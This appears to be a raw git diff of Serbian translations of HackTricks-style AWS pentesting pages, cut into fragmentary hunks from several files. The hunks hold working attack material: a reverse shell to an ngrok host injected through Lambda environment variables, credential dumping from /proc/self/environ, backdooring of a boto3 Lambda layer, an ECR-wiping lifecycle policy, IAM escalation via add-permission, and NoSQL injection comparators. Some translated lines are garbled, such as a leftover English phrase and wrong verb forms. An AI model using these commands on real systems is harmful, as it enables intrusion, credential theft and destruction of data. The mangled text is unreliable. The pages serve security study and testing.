Napadač sa bilo kojim od ovih dozvola može **kreirati ili izmeniti politiku životnog ciklusa da obriše sve slike u repozitorijumu** i zatim **obrisati ceo ECR repozitorijum**. To bi rezultiralo gubitkom svih kontejnerskih slika koje se čuvaju u repozitorijumu.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Za više informacija pogledajte:
|
||||
Za više informacija proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,11 +12,11 @@ Za više informacija pogledajte:
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
U ECS, **IAM uloga može biti dodeljena zadatku** koji se izvršava unutar kontejnera. **Ako** se zadatak izvršava unutar **EC2** instance, **EC2 instanca** će imati **drugu IAM** ulogu prikačenu na nju.\
|
||||
Što znači da ako uspete da **kompromitujete** ECS instancu, potencijalno možete **dobiti IAM ulogu povezanu sa ECR-om i sa EC2 instancom**. Za više informacija o tome kako da dobijete te kredencijale, pogledajte:
|
||||
U ECS, **IAM uloga može biti dodeljena zadatku** koji se izvršava unutar kontejnera. **Ako** se zadatak izvršava unutar **EC2** instance, **EC2 instanca** će imati **drugu IAM** ulogu pridruženu.\
|
||||
Što znači da ako uspete da **kompromitujete** ECS instancu, potencijalno možete **dobiti IAM ulogu povezanu sa ECR-om i sa EC2 instancom**. Za više informacija o tome kako dobiti te kredencijale, proverite:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
@@ -28,7 +28,7 @@ Ali pored toga, EC2 koristi docker za pokretanje ECs zadataka, tako da ako može
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Pored toga, **EC2 instanca uloga** obično će imati dovoljno **dozvola** da **ažurira stanje kontejner instance** EC2 instanci koje se koriste kao čvorovi unutar klastera. Napadač bi mogao da izmeni **stanje instance na DRAINING**, tada će ECS **ukloniti sve zadatke sa nje** i oni koji se izvršavaju kao **REPLICA** će biti **pokrenuti na drugoj instanci,** potencijalno unutar **napadačeve instance** tako da može **ukrasti njihove IAM uloge** i potencijalno osetljive informacije iz kontejnera.
|
||||
Pored toga, **EC2 instanca uloga** obično će imati dovoljno **dozvola** da **ažurira stanje kontejnerske instance** EC2 instanci koje se koriste kao čvorovi unutar klastera. Napadač bi mogao da izmeni **stanje instance na DRAINING**, tada će ECS **ukloniti sve zadatke sa nje** i oni koji se izvršavaju kao **REPLICA** će biti **pokrenuti na drugoj instanci,** potencijalno unutar **napadačeve instance** tako da može **ukrasti njihove IAM uloge** i potencijalno osetljive informacije iz kontejnera.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
@@ -50,7 +50,7 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Ukrasti osetljive informacije iz ECR kontejnera
|
||||
### Ukrao osetljive informacije iz ECR kontejnera
|
||||
|
||||
EC2 instanca će verovatno imati dozvolu `ecr:GetAuthorizationToken` koja joj omogućava da **preuzme slike** (možete tražiti osetljive informacije u njima).
|
||||
|
||||
|
||||
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
|
||||
)
|
||||
return response
|
||||
```
|
||||
Takođe je moguće otkriti kredencijale uloge lambda bez potrebe za spoljnim povezivanjem. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno otkrijete kredencijale kao izlaz lambda.
|
||||
Takođe je moguće otkriti kredencijale lambda uloge bez potrebe za spoljnim povezivanjem. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno otkrijete kredencijale kao izlaz lambda.
|
||||
```python
|
||||
def handler(event, context):
|
||||
sessiontoken = open('/proc/self/environ', "r").read()
|
||||
@@ -74,8 +74,8 @@ cat output.txt
|
||||
```
|
||||
**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvršite `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction`
|
||||
> [!OPREZ]
|
||||
> Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvrši `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction`
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
|
||||
|
||||
@@ -90,7 +90,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
|
||||
|
||||
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction` i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **povećati privilegije** čak i bez `lambda:InvokeFunction`.\
|
||||
Mogu kreirati **Lambda funkciju sa zloćudnim kodom i dodeliti joj postojeću IAM ulogu**.
|
||||
Mogu kreirati **Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu**.
|
||||
|
||||
Umesto da direktno pozivaju Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambdom putem mape izvora događaja. Ova postavka osigurava da se Lambda funkcija **automatski aktivira prilikom unosa novog stavke** u tabelu, bilo od strane korisnika ili drugog procesa, čime se indirektno poziva Lambda funkcija i izvršava kod sa privilegijama dodeljene IAM uloge.
|
||||
```bash
|
||||
@@ -99,7 +99,7 @@ aws lambda create-function --function-name my_function \
|
||||
--handler lambda_function.lambda_handler \
|
||||
--zip-file fileb://rev.zip
|
||||
```
|
||||
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcionalnošću:
|
||||
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa omogućenom striming funkcijom:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -113,7 +113,7 @@ aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda tako što će aktivirati DynamoDB strim**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
|
||||
Sa Lambda funkcijom povezanošću sa DynamoDB strimom, napadač može **indirektno aktivirati Lambda funkciju aktiviranjem DynamoDB strima**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
@@ -122,7 +122,7 @@ aws dynamodb put-item --table-name my_table \
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
|
||||
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo kakve dozvole** (ovo generiše politike zasnovane na resursima za dodeljivanje pristupa resursu):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -167,15 +167,15 @@ Sa ovim dozvolama moguće je dodati varijable okruženja koje će uzrokovati da
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Za druge skriptne jezike postoje druge env promenljive koje možete koristiti. Za više informacija proverite podsekcije skriptnih jezika u:
|
||||
Za druge skriptne jezike postoje druge promenljive okruženja koje možete koristiti. Za više informacija proverite podsekcije skriptnih jezika u:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
{{#endref}}
|
||||
|
||||
#### RCE putem Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **koda** u vašu lambda funkciju, ali **da se čuva odvojeno**, tako da kod funkcije može ostati mali i **više funkcija može deliti kod**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava uključivanje **koda** u vašu lambda funkciju, ali **da se čuva odvojeno**, tako da kod funkcije može ostati mali i **several functions can share code**.
|
||||
|
||||
Unutar lambda možete proveriti putanje sa kojih se python kod učitava pomoću funkcije kao što je sledeća:
|
||||
```python
|
||||
@@ -202,7 +202,7 @@ Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija).
|
||||
|
||||
#### Eksploatacija
|
||||
|
||||
Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda, mogli biste to lako pronaći, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** unutra.
|
||||
Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** funkciji lambda. Da biste izvršili proizvoljan kod, ovaj sloj treba da sadrži neku **biblioteku koju će lambda uvesti.** Ako možete da pročitate kod lambda funkcije, mogli biste to lako pronaći, takođe imajte na umu da može biti moguće da lambda **već koristi sloj** i da možete **preuzeti** sloj i **dodati svoj kod** u njega.
|
||||
|
||||
Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni sloj sa poslednjom verzijom biblioteke:
|
||||
```bash
|
||||
@@ -210,8 +210,8 @@ pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Možete otvoriti `./lambda_layer/boto3/__init__.py` i **dodati backdoor u globalni kod** (funkciju za eksfiltraciju kredencijala ili dobijanje reverzibilne ljuske, na primer).
|
||||
|
||||
Zatim, zipujte taj `./lambda_layer` direktorijum i **otpremite novi lambda sloj** na svoj račun (ili na račun žrtve, ali možda nemate dozvole za to).\
|
||||
Napomena: potrebno je da kreirate python folder i stavite biblioteke unutra da biste prepisali /opt/python/boto3. Takođe, sloj mora biti **kompatibilan sa verzijom pythona** koja se koristi u lambdi i ako ga otpremite na svoj račun, mora biti u **istoј regiji:**
|
||||
Zatim, zipujte taj `./lambda_layer` direktorijum i **otpremite novi lambda sloj** na svoj nalog (ili na nalog žrtve, ali možda nemate dozvole za to).\
|
||||
Imajte na umu da treba da kreirate python folder i stavite biblioteke unutra da biste prepisali /opt/python/boto3. Takođe, sloj mora biti **kompatibilan sa verzijom pythona** koja se koristi u lambdi i ako ga otpremite na svoj nalog, mora biti u **istoј regiji:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
@@ -221,7 +221,7 @@ aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
I prikačite lambda sloj na funkciju lambda žrtve:
|
||||
I priključite lambda sloj na funkciju lambda žrtve:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
@@ -240,11 +240,11 @@ Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo ili da čeka
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Možda sa tim dozvolama možete kreirati funkciju i izvršiti je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa javite mi ako uspete!
|
||||
Možda sa tim dozvolama možete da kreirate funkciju i izvršite je pozivajući URL... ali nisam mogao da pronađem način da to testiram, pa javite mi ako uspete!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete eksfiltrirati informacije koje drugi korisnici šalju, proverite to u:
|
||||
Neki lambdas će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednom od njih, možete da exfiltrirate informacije koje drugi korisnici šalju, proverite to u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
|
||||
@@ -24,7 +24,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
|
||||
Pošto je DocumentDB kompatibilna sa MongoDB, možete zamisliti da je takođe podložna uobičajenim NoSQL injekcijama:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### DocumentDB
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### Osnovne informacije
|
||||
|
||||
Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne bezbednosne mere, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.
|
||||
Amazon DynamoDB se predstavlja kao **potpuno upravljana, serverless, key-value NoSQL baza podataka**, prilagođena za pokretanje aplikacija visokih performansi bez obzira na njihovu veličinu. Usluga obezbeđuje robusne karakteristike uključujući inherentne mere bezbednosti, neprekidne rezervne kopije, automatsku replikaciju širom više regiona, integrisano keširanje u memoriji i praktične alate za izvoz podataka.
|
||||
|
||||
U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **partition key** kao integralnog dela **primarnog ključa tabele**. Ovaj partition key, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **sort key** za dalju rafinaciju organizacije podataka.
|
||||
U kontekstu DynamoDB, umesto uspostavljanja tradicionalne baze podataka, **kreiraju se tabele**. Svaka tabela zahteva specifikaciju **ključne particije** kao integralnog dela **primarnog ključa tabele**. Ovaj ključ particije, suštinski **hash vrednost**, igra ključnu ulogu u preuzimanju stavki i distribuciji podataka širom različitih hostova. Ova distribucija je ključna za održavanje i skalabilnosti i dostupnosti baze podataka. Pored toga, postoji opcija za uključivanje **ključnog sortiranja** kako bi se dodatno poboljšala organizacija podataka.
|
||||
|
||||
### Enkripcija
|
||||
|
||||
@@ -18,9 +18,9 @@ Podrazumevano, DynamoDB koristi KMS ključ koji \*\*pripada Amazon DynamoDB,\*\*
|
||||
|
||||
### Rezervne kopije i izvoz u S3
|
||||
|
||||
Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **Point-in-time recovery (PITR) za tabelu.** Point-in-time recovery obezbeđuje kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja.
|
||||
Moguće je **zakazati** generisanje **rezervnih kopija tabela** ili ih kreirati na **zahtev**. Štaviše, takođe je moguće omogućiti **oporavak u tački vremena (PITR) za tabelu.** Oporavak u tački vremena obezbeđuje kontinuirane **rezervne kopije** vaših DynamoDB podataka za **35 dana** kako bi vam pomogao da se zaštitite od slučajnih operacija pisanja ili brisanja.
|
||||
|
||||
Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **PITR omogućeno**.
|
||||
Takođe je moguće izvesti **podatke tabele u S3**, ali tabela mora imati **omogućen PITR**.
|
||||
|
||||
### GUI
|
||||
|
||||
@@ -53,7 +53,7 @@ aws dynamodb describe-export --export-arn <arn>
|
||||
# Misc
|
||||
aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
```
|
||||
### Neautentifikovani Pristup
|
||||
### Neautentifikovani pristup
|
||||
|
||||
{{#ref}}
|
||||
../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
|
||||
@@ -81,23 +81,23 @@ aws dynamodb describe-endpoints #Dynamodb endpoints
|
||||
|
||||
### SQL Injekcija
|
||||
|
||||
Postoje načini za pristupanje DynamoDB podacima sa **SQL sintaksom**, stoga su tipične **SQL injekcije takođe moguće**.
|
||||
Postoje načini za pristupanje DynamoDB podacima koristeći **SQL sintaksu**, stoga su tipične **SQL injekcije takođe moguće**.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/sql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/sql-injection/index.html
|
||||
{{#endref}}
|
||||
|
||||
### NoSQL Injekcija
|
||||
|
||||
U DynamoDB različite **uslove** mogu se koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\
|
||||
U DynamoDB različite **uslove** je moguće koristiti za preuzimanje podataka, kao u uobičajenoj NoSQL injekciji, ako je moguće **povezati više uslova za preuzimanje** podataka, mogli biste dobiti skrivene podatke (ili izvući celu tabelu).\
|
||||
Ovde možete pronaći uslove koje podržava DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
|
||||
|
||||
Napomena da se **različiti uslovi** podržavaju ako se podaci pristupaju putem **`query`** ili putem **`scan`**.
|
||||
|
||||
> [!NOTE]
|
||||
> U stvari, **Query** akcije moraju da specificiraju **uslov "EQ" (jednako)** u **primarnom** ključu da bi funkcionisale, čineći ih mnogo **manje podložnim NoSQL injekcijama** (i takođe čineći operaciju veoma ograničenom).
|
||||
> U stvari, **Query** akcije moraju da specificiraju **uslov "EQ" (jednako)** u **primarnom** ključu da bi radile, čineći ih mnogo **manje podložnim NoSQL injekcijama** (i takođe čineći operaciju veoma ograničenom).
|
||||
|
||||
Ako možete **promeniti poređenje** koje se vrši ili dodati nove, mogli biste preuzeti više podataka.
|
||||
Ako možete **promeniti poređenje** koje se vrši ili dodati nova, mogli biste preuzeti više podataka.
|
||||
```bash
|
||||
# Comparators to dump the database
|
||||
"NE": "a123" #Get everything that doesn't equal "a123"
|
||||
@@ -105,7 +105,7 @@ Ako možete **promeniti poređenje** koje se vrši ili dodati nove, mogli biste
|
||||
"GT": " " #All strings are greater than a space
|
||||
```
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/nosql-injection
|
||||
https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
|
||||
{{#endref}}
|
||||
|
||||
### Raw Json injection
|
||||
|
||||
@@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md
|
||||
|
||||
## EC2
|
||||
|
||||
Amazon EC2 se koristi za pokretanje **virtuelnih servera**. Omogućava konfiguraciju **bezbednosti** i **mreže** i upravljanje **skladištem**. Fleksibilnost Amazon EC2 je očigledna u njegovoj sposobnosti da skalira resurse kako naviše, tako i naniže, efikasno se prilagođavajući promenama zahteva ili porastima popularnosti. Ova funkcija smanjuje potrebu za preciznim predikcijama saobraćaja.
|
||||
Amazon EC2 se koristi za pokretanje **virtuelnih servera**. Omogućava konfiguraciju **bezbednosti** i **mrežne infrastrukture** i upravljanje **skladištem**. Fleksibilnost Amazon EC2 je očigledna u njegovoj sposobnosti da skalira resurse kako naviše, tako i naniže, efikasno se prilagođavajući promenama zahteva ili porastima popularnosti. Ova funkcija smanjuje potrebu za preciznim predikcijama saobraćaja.
|
||||
|
||||
Zanimljive stvari za enumeraciju u EC2:
|
||||
|
||||
@@ -20,7 +20,7 @@ Zanimljive stvari za enumeraciju u EC2:
|
||||
- SSH ključevi
|
||||
- Podaci o korisnicima
|
||||
- Postojeći EC2/AMI/snapshoti
|
||||
- Mreženje
|
||||
- Mreža
|
||||
- Mreže
|
||||
- Podmreže
|
||||
- Javne IP adrese
|
||||
@@ -35,10 +35,10 @@ Ova dodatna faza je **kreiranje** [_**instance profile**_](https://docs.aws.amaz
|
||||
|
||||
### Metadata Endpoint
|
||||
|
||||
AWS EC2 metapodaci su informacije o Amazon Elastic Compute Cloud (EC2) instanci koje su dostupne instanci u vreme izvršavanja. Ovi metapodaci se koriste za pružanje informacija o instanci, kao što su njen ID instance, dostupna zona u kojoj se pokreće, IAM uloga povezana sa instancom i ime hosta instance.
|
||||
AWS EC2 metapodaci su informacije o Amazon Elastic Compute Cloud (EC2) instanci koje su dostupne instanci u vreme izvršavanja. Ovi metapodaci se koriste za pružanje informacija o instanci, kao što su njen ID instance, dostupna zona u kojoj se pokreće, IAM uloga povezana sa instancom, i ime hosta instance.
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
@@ -149,13 +149,13 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite EC2 dozvole za e
|
||||
|
||||
## EBS
|
||||
|
||||
Amazon **EBS** (Elastic Block Store) **snapshot-i** su u suštini statični **backup-i** AWS EBS volumena. Drugim rečima, to su **kopije** **diskova** povezanih sa **EC2** instancom u određenom trenutku. EBS snapshot-i se mogu kopirati između regiona i naloga, ili čak preuzeti i pokrenuti lokalno.
|
||||
Amazon **EBS** (Elastic Block Store) **snapshots** su u suštini statični **backup-ovi** AWS EBS volumena. Drugim rečima, to su **kopije** **diskova** povezanih sa **EC2** instancom u određenom trenutku. EBS snapshots se mogu kopirati između regiona i naloga, ili čak preuzeti i pokrenuti lokalno.
|
||||
|
||||
Snapshot-i mogu sadržati **osetljive informacije** kao što su **izvorni kod ili API ključevi**, stoga, ako imate priliku, preporučuje se da ih proverite.
|
||||
Snapshots mogu sadržati **osetljive informacije** kao što su **izvorni kod ili API ključevi**, stoga, ako imate priliku, preporučuje se da ih proverite.
|
||||
|
||||
### Razlika između AMI i EBS
|
||||
### Razlika AMI & EBS
|
||||
|
||||
**AMI** se koristi za **pokretanje EC2 instance**, dok se EC2 **snapshot** koristi za **backup i oporavak podataka sa EBS volumena**. Dok se EC2 snapshot može koristiti za kreiranje novog AMI-ja, to nije isto što i AMI, i ne uključuje informacije o operativnom sistemu, serverskom softveru ili drugom softveru potrebnom za pokretanje aplikacije.
|
||||
**AMI** se koristi za **pokretanje EC2 instance**, dok se EC2 **Snapshot** koristi za **backup i oporavak podataka sa EBS volumena**. Dok se EC2 Snapshot može koristiti za kreiranje novog AMI-ja, to nije isto što i AMI, i ne uključuje informacije o operativnom sistemu, serverskom softveru ili drugom softveru potrebnom za pokretanje aplikacije.
|
||||
|
||||
### Privesc
|
||||
|
||||
@@ -182,7 +182,7 @@ aws ssm describe-instance-patches --instance-id <id>
|
||||
aws ssm describe-instance-patch-states --instance-ids <id>
|
||||
aws ssm describe-instance-associations-status --instance-id <id>
|
||||
```
|
||||
Možete proveriti da li Systems Manager radi na EC2 instanci jednostavno izvršavanjem:
|
||||
Možete proveriti da li je Systems Manager pokrenut na EC2 instanci jednostavno izvršavanjem:
|
||||
```bash
|
||||
ps aux | grep amazon-ssm
|
||||
```
|
||||
@@ -196,7 +196,7 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite SSM dozvole za e
|
||||
|
||||
## ELB
|
||||
|
||||
**Elastic Load Balancing** (ELB) je **usluga ravnoteže opterećenja za Amazon Web Services** (AWS) implementacije. ELB automatski **distribuira dolazni aplikativni saobraćaj** i skalira resurse kako bi zadovoljio zahteve saobraćaja.
|
||||
**Elastic Load Balancing** (ELB) je **usluga balansiranja opterećenja za Amazon Web Services** (AWS) implementacije. ELB automatski **distribuira dolazni aplikativni saobraćaj** i skalira resurse kako bi zadovoljio zahteve saobraćaja.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -209,7 +209,7 @@ aws elbv2 describe-load-balancers
|
||||
aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
|
||||
aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
|
||||
```
|
||||
## Šabloni za pokretanje i grupe automatskog skaliranja
|
||||
## Šabloni za pokretanje i grupe za automatsko skaliranje
|
||||
|
||||
### Enumeracija
|
||||
```bash
|
||||
@@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers
|
||||
```
|
||||
## Nitro
|
||||
|
||||
AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Oslobađanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pruže **performanse blizu fizičkog hardvera**, što ga čini posebno korisnim za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući njegovu robusnu arhitekturu.
|
||||
AWS Nitro je skup **inovativnih tehnologija** koje čine osnovnu platformu za AWS EC2 instance. Uveden od strane Amazona da **poboljša bezbednost, performanse i pouzdanost**, Nitro koristi prilagođene **hardverske komponente i lagani hipervizor**. Apstrahuje većinu tradicionalne funkcionalnosti virtualizacije na posvećen hardver i softver, **minimizirajući površinu napada** i poboljšavajući efikasnost resursa. Oslobađanjem funkcija virtualizacije, Nitro omogućava EC2 instancama da pruže **performanse blizu onih na fizičkom hardveru**, što ga čini posebno korisnim za aplikacije koje zahtevaju mnogo resursa. Pored toga, Nitro Security Chip posebno osigurava **bezbednost hardvera i firmvera**, dodatno učvršćujući njegovu robusnu arhitekturu.
|
||||
|
||||
Dobijte više informacija i kako da ga enumerišete iz:
|
||||
Dobijte više informacija i kako ga enumerisati sa:
|
||||
|
||||
{{#ref}}
|
||||
aws-nitro-enum.md
|
||||
@@ -249,7 +249,7 @@ VPN omogućava povezivanje vaše **lokalne mreže (site-to-site VPN)** ili **lap
|
||||
- Služi kao referentna tačka za postavljanje VPN veze i ne izaziva dodatne troškove.
|
||||
2. **Virtual Private Gateway**:
|
||||
- Virtual Private Gateway (VPG) je VPN koncentrator na Amazon strani Site-to-Site VPN veze.
|
||||
- Priključen je na vaš VPC i služi kao cilj za vašu VPN vezu.
|
||||
- Povezan je sa vašim VPC-om i služi kao cilj za vašu VPN vezu.
|
||||
- VPG je AWS strana krajnje tačke za VPN vezu.
|
||||
- Rukuje sigurnom komunikacijom između vašeg VPC-a i vaše lokalne mreže.
|
||||
3. **Site-to-Site VPN Connection**:
|
||||
@@ -299,7 +299,7 @@ Akreditivi pripadaju korisniku `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-clien
|
||||
|
||||
**opvn konfiguracione datoteke**
|
||||
|
||||
Ako je **VPN veza uspostavljena**, trebali biste potražiti **`.opvn`** konfiguracione datoteke u sistemu. Štaviše, jedno mesto gde možete pronaći **konfiguracije** je u **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
|
||||
Ako je **VPN veza uspostavljena**, trebali biste pretražiti **`.opvn`** konfiguracione datoteke u sistemu. Štaviše, jedno mesto gde možete pronaći **konfiguracije** je u **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
|
||||
|
||||
#### **Post Eksploatacija**
|
||||
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
**Relational Database Service (RDS)** koju nudi AWS je dizajnirana da pojednostavi implementaciju, rad i skaliranje **relacione baze podataka u oblaku**. Ova usluga nudi prednosti troškovne efikasnosti i skalabilnosti dok automatski obavlja radno intenzivne zadatke poput obezbeđivanja hardvera, konfiguracije baze podataka, zakrpa i rezervnih kopija.
|
||||
